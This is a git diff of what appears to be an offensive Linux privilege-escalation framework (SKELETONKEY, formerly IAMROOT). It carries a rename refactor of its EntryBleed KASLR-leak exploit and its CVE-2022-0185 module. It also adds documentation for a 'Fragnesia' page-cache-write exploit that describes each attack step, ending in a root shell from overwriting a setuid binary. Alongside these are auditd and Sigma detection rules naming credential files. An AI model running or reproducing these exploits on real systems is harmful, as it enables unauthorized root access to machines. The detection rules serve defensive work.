@@ -178,7 +178,7 @@ static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
|
|||||||
fprintf(stderr, "[!] entrybleed: ACTIVE PROBE CONFIRMED — "
|
fprintf(stderr, "[!] entrybleed: ACTIVE PROBE CONFIRMED — "
|
||||||
"leak yields plausible kbase 0x%lx\n", kbase);
|
"leak yields plausible kbase 0x%lx\n", kbase);
|
||||||
}
|
}
|
||||||
return IAMROOT_VULNERABLE;
|
return SKELETONKEY_VULNERABLE;
|
||||||
}
|
}
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] entrybleed: active probe returned implausible kbase "
|
fprintf(stderr, "[+] entrybleed: active probe returned implausible kbase "
|
||||||
@@ -186,9 +186,9 @@ static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
|
|||||||
}
|
}
|
||||||
/* Implausible probe result. Either the entry_SYSCALL_64 slot
|
/* Implausible probe result. Either the entry_SYSCALL_64 slot
|
||||||
* offset doesn't match lts-6.12.x default (different kernel
|
* offset doesn't match lts-6.12.x default (different kernel
|
||||||
* build) — user should set IAMROOT_ENTRYBLEED_OFFSET — or
|
* build) — user should set SKELETONKEY_ENTRYBLEED_OFFSET — or
|
||||||
* timing is too noisy. Don't claim CONFIRMED. */
|
* timing is too noisy. Don't claim CONFIRMED. */
|
||||||
return IAMROOT_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
@@ -197,21 +197,21 @@ static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
|
|||||||
fprintf(stderr, "[i] entrybleed: --exploit will leak kbase (harmless leak; "
|
fprintf(stderr, "[i] entrybleed: --exploit will leak kbase (harmless leak; "
|
||||||
"no /etc/passwd writes)\n");
|
"no /etc/passwd writes)\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_VULNERABLE;
|
return SKELETONKEY_VULNERABLE;
|
||||||
}
|
}
|
||||||
|
|
||||||
static iamroot_result_t entrybleed_exploit(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t entrybleed_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
const char *off_env = getenv("IAMROOT_ENTRYBLEED_OFFSET");
|
const char *off_env = getenv("SKELETONKEY_ENTRYBLEED_OFFSET");
|
||||||
unsigned long off = 0;
|
unsigned long off = 0;
|
||||||
if (off_env) {
|
if (off_env) {
|
||||||
off = strtoul(off_env, NULL, 0);
|
off = strtoul(off_env, NULL, 0);
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[i] entrybleed: using IAMROOT_ENTRYBLEED_OFFSET=0x%lx\n", off);
|
fprintf(stderr, "[i] entrybleed: using SKELETONKEY_ENTRYBLEED_OFFSET=0x%lx\n", off);
|
||||||
}
|
}
|
||||||
} else if (!ctx->json) {
|
} else if (!ctx->json) {
|
||||||
fprintf(stderr, "[i] entrybleed: using default entry_SYSCALL_64 slot offset "
|
fprintf(stderr, "[i] entrybleed: using default entry_SYSCALL_64 slot offset "
|
||||||
"0x%lx (lts-6.12.x). Override via IAMROOT_ENTRYBLEED_OFFSET=0x...\n",
|
"0x%lx (lts-6.12.x). Override via SKELETONKEY_ENTRYBLEED_OFFSET=0x...\n",
|
||||||
DEFAULT_ENTRY_OFF);
|
DEFAULT_ENTRY_OFF);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -223,7 +223,7 @@ static iamroot_result_t entrybleed_exploit(const struct iamroot_ctx *ctx)
|
|||||||
unsigned long kbase = entrybleed_leak_kbase_lib(off);
|
unsigned long kbase = entrybleed_leak_kbase_lib(off);
|
||||||
if (kbase == 0) {
|
if (kbase == 0) {
|
||||||
fprintf(stderr, "[-] entrybleed: leak failed (kbase == 0)\n");
|
fprintf(stderr, "[-] entrybleed: leak failed (kbase == 0)\n");
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (ctx->json) {
|
if (ctx->json) {
|
||||||
@@ -233,7 +233,7 @@ static iamroot_result_t entrybleed_exploit(const struct iamroot_ctx *ctx)
|
|||||||
fprintf(stderr, "[+] entrybleed: KASLR slide = 0x%lx (relative to 0xffffffff81000000)\n",
|
fprintf(stderr, "[+] entrybleed: KASLR slide = 0x%lx (relative to 0xffffffff81000000)\n",
|
||||||
kbase - 0xffffffff81000000UL);
|
kbase - 0xffffffff81000000UL);
|
||||||
}
|
}
|
||||||
return IAMROOT_EXPLOIT_OK;
|
return SKELETONKEY_EXPLOIT_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
#else /* not x86_64 */
|
#else /* not x86_64 */
|
||||||
@@ -244,19 +244,19 @@ unsigned long entrybleed_leak_kbase_lib(unsigned long off)
|
|||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t entrybleed_detect(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
(void)ctx;
|
(void)ctx;
|
||||||
fprintf(stderr, "[i] entrybleed: x86_64 only; this build is for a "
|
fprintf(stderr, "[i] entrybleed: x86_64 only; this build is for a "
|
||||||
"different architecture\n");
|
"different architecture\n");
|
||||||
return IAMROOT_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
static iamroot_result_t entrybleed_exploit(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t entrybleed_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
(void)ctx;
|
(void)ctx;
|
||||||
fprintf(stderr, "[-] entrybleed: x86_64 only\n");
|
fprintf(stderr, "[-] entrybleed: x86_64 only\n");
|
||||||
return IAMROOT_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
#endif
|
#endif
|
||||||
@@ -268,7 +268,7 @@ static iamroot_result_t entrybleed_exploit(const struct iamroot_ctx *ctx)
|
|||||||
* Ship a Sigma note describing this; auditd rule intentionally omitted. */
|
* Ship a Sigma note describing this; auditd rule intentionally omitted. */
|
||||||
static const char entrybleed_sigma[] =
|
static const char entrybleed_sigma[] =
|
||||||
"title: EntryBleed-style KPTI timing side-channel (CVE-2023-0458)\n"
|
"title: EntryBleed-style KPTI timing side-channel (CVE-2023-0458)\n"
|
||||||
"id: 7b3a48d1-iamroot-entrybleed\n"
|
"id: 7b3a48d1-skeletonkey-entrybleed\n"
|
||||||
"status: experimental\n"
|
"status: experimental\n"
|
||||||
"description: |\n"
|
"description: |\n"
|
||||||
" EntryBleed leaks kbase via prefetchnta timing against entry_SYSCALL_64.\n"
|
" EntryBleed leaks kbase via prefetchnta timing against entry_SYSCALL_64.\n"
|
||||||
@@ -280,7 +280,7 @@ static const char entrybleed_sigma[] =
|
|||||||
"level: informational\n"
|
"level: informational\n"
|
||||||
"tags: [attack.discovery, attack.t1082, cve.2023.0458]\n";
|
"tags: [attack.discovery, attack.t1082, cve.2023.0458]\n";
|
||||||
|
|
||||||
const struct iamroot_module entrybleed_module = {
|
const struct skeletonkey_module entrybleed_module = {
|
||||||
.name = "entrybleed",
|
.name = "entrybleed",
|
||||||
.cve = "CVE-2023-0458",
|
.cve = "CVE-2023-0458",
|
||||||
.summary = "KPTI prefetchnta timing side-channel → kbase leak (stage-1)",
|
.summary = "KPTI prefetchnta timing side-channel → kbase leak (stage-1)",
|
||||||
@@ -296,7 +296,7 @@ const struct iamroot_module entrybleed_module = {
|
|||||||
.detect_falco = NULL,
|
.detect_falco = NULL,
|
||||||
};
|
};
|
||||||
|
|
||||||
void iamroot_register_entrybleed(void)
|
void skeletonkey_register_entrybleed(void)
|
||||||
{
|
{
|
||||||
iamroot_register(&entrybleed_module);
|
skeletonkey_register(&entrybleed_module);
|
||||||
}
|
}
|
||||||
+4
-4
@@ -1,13 +1,13 @@
|
|||||||
/*
|
/*
|
||||||
* entrybleed_cve_2023_0458 — IAMROOT module registry hook
|
* entrybleed_cve_2023_0458 — SKELETONKEY module registry hook
|
||||||
*/
|
*/
|
||||||
|
|
||||||
#ifndef ENTRYBLEED_IAMROOT_MODULES_H
|
#ifndef ENTRYBLEED_SKELETONKEY_MODULES_H
|
||||||
#define ENTRYBLEED_IAMROOT_MODULES_H
|
#define ENTRYBLEED_SKELETONKEY_MODULES_H
|
||||||
|
|
||||||
#include "../../core/module.h"
|
#include "../../core/module.h"
|
||||||
|
|
||||||
extern const struct iamroot_module entrybleed_module;
|
extern const struct skeletonkey_module entrybleed_module;
|
||||||
|
|
||||||
/* Library entry point for other modules that need a kbase leak.
|
/* Library entry point for other modules that need a kbase leak.
|
||||||
* Returns the leaked kernel _text base on success, or 0 on failure
|
* Returns the leaked kernel _text base on success, or 0 on failure
|
||||||
@@ -0,0 +1,87 @@
|
|||||||
|
# fragnesia — CVE-2026-46300
|
||||||
|
|
||||||
|
> 🟡 **PRIMITIVE / ported.** Faithful port of the public V12 PoC into
|
||||||
|
> the `skeletonkey_module` interface. **Not yet validated end-to-end on
|
||||||
|
> a vulnerable-kernel VM** — see _Verification status_ below.
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
Fragnesia ("Fragment Amnesia") is an XFRM ESP-in-TCP local privilege
|
||||||
|
escalation. `skb_try_coalesce()` fails to propagate the
|
||||||
|
`SKBFL_SHARED_FRAG` marker when moving paged fragments between socket
|
||||||
|
buffers — so the kernel forgets that a fragment is externally backed by
|
||||||
|
page-cache pages spliced in from a file. The ESP-in-TCP receive path
|
||||||
|
then decrypts in place, corrupting the page cache of a read-only file.
|
||||||
|
|
||||||
|
Fragnesia is a **latent bug exposed by the Dirty Frag fix**: the
|
||||||
|
candidate patch cites the Dirty Frag remediation (`f4c50a4034e6`) as a
|
||||||
|
commit it "fixes". It is the same page-cache-write bug class as Copy
|
||||||
|
Fail / Dirty Frag, reached through a different code path.
|
||||||
|
|
||||||
|
## Primitive
|
||||||
|
|
||||||
|
1. Build a 256-entry **AES-GCM keystream-byte table** via `AF_ALG`
|
||||||
|
`ecb(aes)` — for any wanted output byte, this yields the ESP IV
|
||||||
|
whose keystream byte XORs the current byte to the target.
|
||||||
|
2. Enter a mapped **user namespace** + **network namespace**, bring
|
||||||
|
loopback up, and install an XFRM **ESP-in-TCP** state
|
||||||
|
(`rfc4106(gcm(aes))`, `TCP_ENCAP_ESPINTCP`).
|
||||||
|
3. A **receiver** accepts a loopback TCP connection and flips it to the
|
||||||
|
`espintcp` ULP; a **sender** `splice()`s page-cache pages of the
|
||||||
|
target file into that TCP stream behind a crafted ESP prefix.
|
||||||
|
4. The coalesce bug makes the kernel decrypt the spliced page-cache
|
||||||
|
pages in place — one chosen byte per trigger.
|
||||||
|
|
||||||
|
The exploit rewrites the first 192 bytes of a setuid-root binary
|
||||||
|
(`/usr/bin/su` and friends) with an ET_DYN ELF that drops privileges to
|
||||||
|
0 and `execve`s `/bin/sh`.
|
||||||
|
|
||||||
|
## Operations
|
||||||
|
|
||||||
|
| Op | Behaviour |
|
||||||
|
|---|---|
|
||||||
|
| `--scan` | Checks unprivileged-userns availability + a readable setuid carrier ≥ 4096 bytes. With `--active`, runs the full ESP-in-TCP primitive against a disposable `/tmp` file and reports VULNERABLE/OK empirically. |
|
||||||
|
| `--exploit … --i-know` | Forks a child that places the payload into the carrier's page cache and execs it for a root shell. `--no-shell` stops after the page-cache write. |
|
||||||
|
| `--cleanup` | Evicts the carrier from the page cache. The on-disk binary is never written. |
|
||||||
|
| `--detect-rules` | Emits embedded auditd + sigma rules. |
|
||||||
|
|
||||||
|
## Preconditions
|
||||||
|
|
||||||
|
- **Unprivileged user namespaces enabled.** On Ubuntu, AppArmor blocks
|
||||||
|
this by default — `sysctl kernel.apparmor_restrict_unprivileged_userns=0`
|
||||||
|
(or chain a separate bypass). This is the scoping question the old
|
||||||
|
`_stubs/fragnesia_TBD` raised; the module ships and reports
|
||||||
|
`PRECOND_FAIL` cleanly when the userns gate is closed.
|
||||||
|
- `CONFIG_INET_ESPINTCP` built into the kernel.
|
||||||
|
- A readable setuid-root binary ≥ 4096 bytes as the payload carrier.
|
||||||
|
- x86_64 (the embedded ELF payload is x86_64 shellcode).
|
||||||
|
|
||||||
|
## Port notes
|
||||||
|
|
||||||
|
The upstream PoC renders a full-screen ANSI "smash frame" TUI
|
||||||
|
(`draw_smash_frame` + terminal scroll-region escapes). That is **not**
|
||||||
|
ported — it cannot coexist with a shared multi-module dispatcher.
|
||||||
|
Progress is logged with `[*]`/`[+]`/`[-]` prefixes, gated on `--json`.
|
||||||
|
The exploit mechanism itself is reproduced faithfully.
|
||||||
|
|
||||||
|
## Verification status
|
||||||
|
|
||||||
|
This module is a **faithful port** of
|
||||||
|
<https://github.com/v12-security/pocs/tree/main/fragnesia>, compiled
|
||||||
|
into the SKELETONKEY module interface. The **exploit body** has not
|
||||||
|
been validated end-to-end against a known-vulnerable kernel inside the
|
||||||
|
SKELETONKEY CI matrix.
|
||||||
|
|
||||||
|
**`detect()` is now version-pinned**: the Fragnesia fix ships in
|
||||||
|
mainline Linux **7.0.9** (Debian tracker source-of-truth, `linux
|
||||||
|
unstable: 7.0.9-1 fixed`). The `kernel_range` table marks the 7.0.x
|
||||||
|
branch patched at `7.0.9`; older Debian-stable branches (5.10 / 6.1 /
|
||||||
|
6.12) are currently still vulnerable per the tracker. With `--active`,
|
||||||
|
the detector runs the full ESP-in-TCP primitive against a `/tmp` file
|
||||||
|
and reports empirically — catches stable-branch backports the version
|
||||||
|
table doesn't know about, and CONFIG_INET_ESPINTCP=n kernels where the
|
||||||
|
primitive is structurally unreachable.
|
||||||
|
|
||||||
|
**Before promoting to 🟢:** validate the exploit end-to-end on a
|
||||||
|
≤ 7.0.8 kernel. Extend the `kernel_range` table with backport
|
||||||
|
thresholds for 5.10 / 6.1 / 6.12 as distros publish them.
|
||||||
@@ -0,0 +1,48 @@
|
|||||||
|
# NOTICE — fragnesia
|
||||||
|
|
||||||
|
## Vulnerability
|
||||||
|
|
||||||
|
**CVE-2026-46300** — "Fragnesia" ("Fragment Amnesia"). XFRM ESP-in-TCP
|
||||||
|
local privilege escalation. `skb_try_coalesce()` fails to propagate the
|
||||||
|
`SKBFL_SHARED_FRAG` marker when moving paged fragments between socket
|
||||||
|
buffers, so the kernel loses track of the fact that a fragment is
|
||||||
|
externally backed by page-cache pages spliced in from a file. The
|
||||||
|
ESP-in-TCP receive path then decrypts in place, corrupting the page
|
||||||
|
cache of a read-only file.
|
||||||
|
|
||||||
|
Fragnesia is a **latent bug exposed by the Dirty Frag remediation**:
|
||||||
|
the candidate fix explicitly cites the Dirty Frag patch
|
||||||
|
(`f4c50a4034e6`) as a commit it "fixes" — the Dirty Frag remediation
|
||||||
|
made a previously latent flaw practically exploitable.
|
||||||
|
|
||||||
|
## Research credit
|
||||||
|
|
||||||
|
Discovered by **William Bowling** with the **V12 security** team.
|
||||||
|
|
||||||
|
> Reference PoC: <https://github.com/v12-security/pocs/tree/main/fragnesia>
|
||||||
|
> Patch thread: <https://lists.openwall.net/netdev/2026/05/13/79>
|
||||||
|
|
||||||
|
## SKELETONKEY role
|
||||||
|
|
||||||
|
`skeletonkey_modules.c` is a port of the V12 PoC
|
||||||
|
(`xfrm_espintcp_pagecache_replace`) into the `skeletonkey_module`
|
||||||
|
interface. The exploit primitive — the AES-GCM keystream-byte table
|
||||||
|
built via AF_ALG, the per-byte IV selection, the userns + netns + XFRM
|
||||||
|
ESP-in-TCP setup, the splice-driven sender/receiver trigger pair, the
|
||||||
|
192-byte ELF payload — is reproduced from that PoC.
|
||||||
|
|
||||||
|
**Port adaptation:** the PoC's ANSI "smash frame" TUI
|
||||||
|
(`draw_smash_frame` + terminal scroll-region escape sequences) is
|
||||||
|
**not** carried over — it is incompatible with running as one module
|
||||||
|
among many under a shared dispatcher. Progress is reported with
|
||||||
|
SKELETONKEY's `[*]`/`[+]`/`[-]` log prefixes instead. SKELETONKEY also
|
||||||
|
adds the detect/cleanup lifecycle, an `--active` probe, `--no-shell`
|
||||||
|
support, and the embedded detection rules. Research credit belongs to
|
||||||
|
the people above.
|
||||||
|
|
||||||
|
## Verification status
|
||||||
|
|
||||||
|
**Ported, not yet validated end-to-end on a vulnerable-kernel VM.**
|
||||||
|
Requires `CONFIG_INET_ESPINTCP` and unprivileged user-namespace
|
||||||
|
creation. The CVE-2026-46300 fix commit is not yet pinned in this
|
||||||
|
module — see `MODULE.md`.
|
||||||
@@ -0,0 +1,31 @@
|
|||||||
|
# Fragnesia (CVE-2026-46300) — auditd detection rules
|
||||||
|
#
|
||||||
|
# The XFRM ESP-in-TCP coalesce bug corrupts the page cache of a
|
||||||
|
# read-only file. These rules flag the syscall surface the exploit
|
||||||
|
# drives and writes to the setuid binaries it targets.
|
||||||
|
#
|
||||||
|
# Install: copy into /etc/audit/rules.d/ and `augenrules --load`, or
|
||||||
|
# skeletonkey --detect-rules --format=auditd | sudo tee \
|
||||||
|
# /etc/audit/rules.d/99-skeletonkey.rules
|
||||||
|
|
||||||
|
# Modification of common payload carriers / credential files
|
||||||
|
-w /usr/bin/su -p wa -k skeletonkey-fragnesia
|
||||||
|
-w /bin/su -p wa -k skeletonkey-fragnesia
|
||||||
|
-w /usr/bin/mount -p wa -k skeletonkey-fragnesia
|
||||||
|
-w /usr/bin/passwd -p wa -k skeletonkey-fragnesia
|
||||||
|
-w /usr/bin/chsh -p wa -k skeletonkey-fragnesia
|
||||||
|
-w /etc/passwd -p wa -k skeletonkey-fragnesia
|
||||||
|
-w /etc/shadow -p wa -k skeletonkey-fragnesia
|
||||||
|
|
||||||
|
# AF_ALG socket creation (family 38) — builds the GCM keystream table
|
||||||
|
-a always,exit -F arch=b64 -S socket -F a0=38 -k skeletonkey-fragnesia-afalg
|
||||||
|
|
||||||
|
# XFRM state setup over NETLINK_XFRM
|
||||||
|
-a always,exit -F arch=b64 -S sendto -k skeletonkey-fragnesia-xfrm
|
||||||
|
|
||||||
|
# TCP_ULP espintcp + ESP setsockopt surface
|
||||||
|
-a always,exit -F arch=b64 -S setsockopt -k skeletonkey-fragnesia-sockopt
|
||||||
|
|
||||||
|
# splice() drives page-cache pages into the ESP-in-TCP stream
|
||||||
|
-a always,exit -F arch=b64 -S splice -k skeletonkey-fragnesia-splice
|
||||||
|
-a always,exit -F arch=b32 -S splice -k skeletonkey-fragnesia-splice
|
||||||
@@ -0,0 +1,30 @@
|
|||||||
|
title: Possible Fragnesia exploitation (CVE-2026-46300)
|
||||||
|
id: 9b3d2e71-skeletonkey-fragnesia
|
||||||
|
status: experimental
|
||||||
|
description: |
|
||||||
|
Detects the file-modification footprint of the Fragnesia XFRM
|
||||||
|
ESP-in-TCP page-cache write (CVE-2026-46300): non-root modification
|
||||||
|
of a setuid-root binary or credential file, typically inside a
|
||||||
|
freshly created user + network namespace.
|
||||||
|
references:
|
||||||
|
- https://github.com/v12-security/pocs/tree/main/fragnesia
|
||||||
|
- https://lists.openwall.net/netdev/2026/05/13/79
|
||||||
|
logsource:
|
||||||
|
product: linux
|
||||||
|
service: auditd
|
||||||
|
detection:
|
||||||
|
modification:
|
||||||
|
type: 'PATH'
|
||||||
|
name|startswith:
|
||||||
|
- '/usr/bin/su'
|
||||||
|
- '/bin/su'
|
||||||
|
- '/etc/passwd'
|
||||||
|
- '/etc/shadow'
|
||||||
|
not_root:
|
||||||
|
auid|expression: '!= 0'
|
||||||
|
condition: modification and not_root
|
||||||
|
level: high
|
||||||
|
tags:
|
||||||
|
- attack.privilege_escalation
|
||||||
|
- attack.t1068
|
||||||
|
- cve.2026.46300
|
||||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,12 @@
|
|||||||
|
/*
|
||||||
|
* fragnesia_cve_2026_46300 — SKELETONKEY module registry hook
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef FRAGNESIA_SKELETONKEY_MODULES_H
|
||||||
|
#define FRAGNESIA_SKELETONKEY_MODULES_H
|
||||||
|
|
||||||
|
#include "../../core/module.h"
|
||||||
|
|
||||||
|
extern const struct skeletonkey_module fragnesia_module;
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -0,0 +1,32 @@
|
|||||||
|
# NOTICE — fuse_legacy (CVE-2022-0185)
|
||||||
|
|
||||||
|
## Vulnerability
|
||||||
|
|
||||||
|
**CVE-2022-0185** — `legacy_parse_param` in fsconfig() doesn't validate
|
||||||
|
`PAGE_SIZE` against the running `fs_context`'s key/value length →
|
||||||
|
4 KB heap OOB write → cross-cache UAF → cred overwrite from a
|
||||||
|
rootless container.
|
||||||
|
|
||||||
|
## Research credit
|
||||||
|
|
||||||
|
Discovered and disclosed by **William Liu** + **Jamie Hill-Daniel**
|
||||||
|
(Crusaders of Rust), January 2022.
|
||||||
|
|
||||||
|
Original writeup: <https://www.willsroot.io/2022/01/cve-2022-0185.html>
|
||||||
|
Public PoC: <https://github.com/Crusaders-of-Rust/CVE-2022-0185>
|
||||||
|
|
||||||
|
Upstream fix: mainline 5.16.2 (Jan 2022).
|
||||||
|
Branch backports: 5.16.2 / 5.15.14 / 5.10.91 / 5.4.171.
|
||||||
|
|
||||||
|
## SKELETONKEY role
|
||||||
|
|
||||||
|
userns+mountns reach, `fsopen("cgroup2")` + double
|
||||||
|
`fsconfig(FSCONFIG_SET_STRING, "source", ...)` fires the 4k OOB,
|
||||||
|
msg_msg cross-cache groom in kmalloc-4k. MSG_COPY read-back detects
|
||||||
|
whether the OOB landed in an adjacent neighbour — the sanity gate
|
||||||
|
that prevents fake-success claims.
|
||||||
|
|
||||||
|
`--full-chain` extends with forged m_list/m_ts overflow toward
|
||||||
|
modprobe_path via the shared finisher.
|
||||||
|
|
||||||
|
**Container-escape angle** — relevant to rootless docker/podman/snap.
|
||||||
@@ -1,12 +0,0 @@
|
|||||||
/*
|
|
||||||
* fuse_legacy_cve_2022_0185 — IAMROOT module registry hook
|
|
||||||
*/
|
|
||||||
|
|
||||||
#ifndef FUSE_LEGACY_IAMROOT_MODULES_H
|
|
||||||
#define FUSE_LEGACY_IAMROOT_MODULES_H
|
|
||||||
|
|
||||||
#include "../../core/module.h"
|
|
||||||
|
|
||||||
extern const struct iamroot_module fuse_legacy_module;
|
|
||||||
|
|
||||||
#endif
|
|
||||||
+103
-88
@@ -1,5 +1,5 @@
|
|||||||
/*
|
/*
|
||||||
* fuse_legacy_cve_2022_0185 — IAMROOT module
|
* fuse_legacy_cve_2022_0185 — SKELETONKEY module
|
||||||
*
|
*
|
||||||
* legacy_parse_param() in fs/fs_context.c had a heap overflow when
|
* legacy_parse_param() in fs/fs_context.c had a heap overflow when
|
||||||
* parsing the "fsconfig" filesystem option strings — specifically,
|
* parsing the "fsconfig" filesystem option strings — specifically,
|
||||||
@@ -38,7 +38,7 @@
|
|||||||
*
|
*
|
||||||
* On a *patched* host (which is every host we can routinely build
|
* On a *patched* host (which is every host we can routinely build
|
||||||
* on in 2026) detect() refuses and exploit() returns
|
* on in 2026) detect() refuses and exploit() returns
|
||||||
* IAMROOT_PRECOND_FAIL with no syscalls.
|
* SKELETONKEY_PRECOND_FAIL with no syscalls.
|
||||||
*
|
*
|
||||||
* Affected: kernel 5.1+ until fix:
|
* Affected: kernel 5.1+ until fix:
|
||||||
* Mainline fix: 722d94847de29 (Jan 18 2022) — lands in 5.16.2
|
* Mainline fix: 722d94847de29 (Jan 18 2022) — lands in 5.16.2
|
||||||
@@ -57,17 +57,23 @@
|
|||||||
* is enabled.
|
* is enabled.
|
||||||
*/
|
*/
|
||||||
|
|
||||||
#include "iamroot_modules.h"
|
#include "skeletonkey_modules.h"
|
||||||
#include "../../core/registry.h"
|
#include "../../core/registry.h"
|
||||||
#include "../../core/kernel_range.h"
|
|
||||||
#include "../../core/offsets.h"
|
|
||||||
#include "../../core/finisher.h"
|
|
||||||
|
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
#include <stdint.h>
|
|
||||||
#include <string.h>
|
#include <string.h>
|
||||||
|
#include <stdbool.h>
|
||||||
#include <unistd.h>
|
#include <unistd.h>
|
||||||
|
|
||||||
|
#ifdef __linux__
|
||||||
|
|
||||||
|
#include "../../core/kernel_range.h"
|
||||||
|
#include "../../core/host.h"
|
||||||
|
#include "../../core/offsets.h"
|
||||||
|
#include "../../core/finisher.h"
|
||||||
|
|
||||||
|
#include <stdint.h>
|
||||||
#include <sched.h>
|
#include <sched.h>
|
||||||
#include <fcntl.h>
|
#include <fcntl.h>
|
||||||
#include <errno.h>
|
#include <errno.h>
|
||||||
@@ -153,62 +159,58 @@ static const struct kernel_range fuse_legacy_range = {
|
|||||||
sizeof(fuse_legacy_patched_branches[0]),
|
sizeof(fuse_legacy_patched_branches[0]),
|
||||||
};
|
};
|
||||||
|
|
||||||
static int can_unshare_userns_mount(void)
|
|
||||||
{
|
|
||||||
pid_t pid = fork();
|
|
||||||
if (pid < 0) return -1;
|
|
||||||
if (pid == 0) {
|
|
||||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNS) == 0) _exit(0);
|
|
||||||
_exit(1);
|
|
||||||
}
|
|
||||||
int status;
|
|
||||||
waitpid(pid, &status, 0);
|
|
||||||
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* ------------------------------------------------------------------ */
|
/* ------------------------------------------------------------------ */
|
||||||
/* detect */
|
/* detect */
|
||||||
/* ------------------------------------------------------------------ */
|
/* ------------------------------------------------------------------ */
|
||||||
static iamroot_result_t fuse_legacy_detect(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t fuse_legacy_detect(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
struct kernel_version v;
|
/* Consult the shared host fingerprint instead of calling
|
||||||
if (!kernel_version_current(&v)) {
|
* kernel_version_current() ourselves — populated once at startup
|
||||||
fprintf(stderr, "[!] fuse_legacy: could not parse kernel version\n");
|
* and identical across every module's detect(). */
|
||||||
return IAMROOT_TEST_ERROR;
|
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||||
|
if (!v || v->major == 0) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[!] fuse_legacy: host fingerprint missing kernel "
|
||||||
|
"version — bailing\n");
|
||||||
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Bug introduced in 5.1 (when legacy_parse_param landed). Pre-5.1
|
/* Bug introduced in 5.1 (when legacy_parse_param landed). Pre-5.1
|
||||||
* kernels predate the code path entirely. */
|
* kernels predate the code path entirely. */
|
||||||
if (v.major < 5 || (v.major == 5 && v.minor < 1)) {
|
if (!skeletonkey_host_kernel_at_least(ctx->host, 5, 1, 0)) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] fuse_legacy: kernel %s predates the bug introduction\n",
|
fprintf(stderr, "[+] fuse_legacy: kernel %s predates the bug introduction\n",
|
||||||
v.release);
|
v->release);
|
||||||
}
|
}
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool patched = kernel_range_is_patched(&fuse_legacy_range, &v);
|
bool patched = kernel_range_is_patched(&fuse_legacy_range, v);
|
||||||
if (patched) {
|
if (patched) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] fuse_legacy: kernel %s is patched\n", v.release);
|
fprintf(stderr, "[+] fuse_legacy: kernel %s is patched\n", v->release);
|
||||||
}
|
}
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
int userns_ok = can_unshare_userns_mount();
|
/* user_ns availability comes from the shared host fingerprint. The
|
||||||
|
* fingerprint's probe uses CLONE_NEWUSER alone; this module also
|
||||||
|
* needs CLONE_NEWNS, but the kernel gates both on the same userns
|
||||||
|
* sysctls (kernel.unprivileged_userns_clone / AppArmor restriction),
|
||||||
|
* so the userns probe is a sound proxy. */
|
||||||
|
bool userns_ok = ctx->host ? ctx->host->unprivileged_userns_allowed : false;
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[i] fuse_legacy: kernel %s in vulnerable range\n", v.release);
|
fprintf(stderr, "[i] fuse_legacy: kernel %s in vulnerable range\n", v->release);
|
||||||
fprintf(stderr, "[i] fuse_legacy: user_ns+mount_ns clone (CAP_SYS_ADMIN gate): %s\n",
|
fprintf(stderr, "[i] fuse_legacy: user_ns+mount_ns clone (CAP_SYS_ADMIN gate): %s\n",
|
||||||
userns_ok == 1 ? "ALLOWED" :
|
userns_ok ? "ALLOWED" : "DENIED");
|
||||||
userns_ok == 0 ? "DENIED" : "could not test");
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if (userns_ok == 0) {
|
if (!userns_ok) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] fuse_legacy: user_ns denied → "
|
fprintf(stderr, "[+] fuse_legacy: user_ns denied → "
|
||||||
"unprivileged exploit unreachable\n");
|
"unprivileged exploit unreachable\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
}
|
}
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
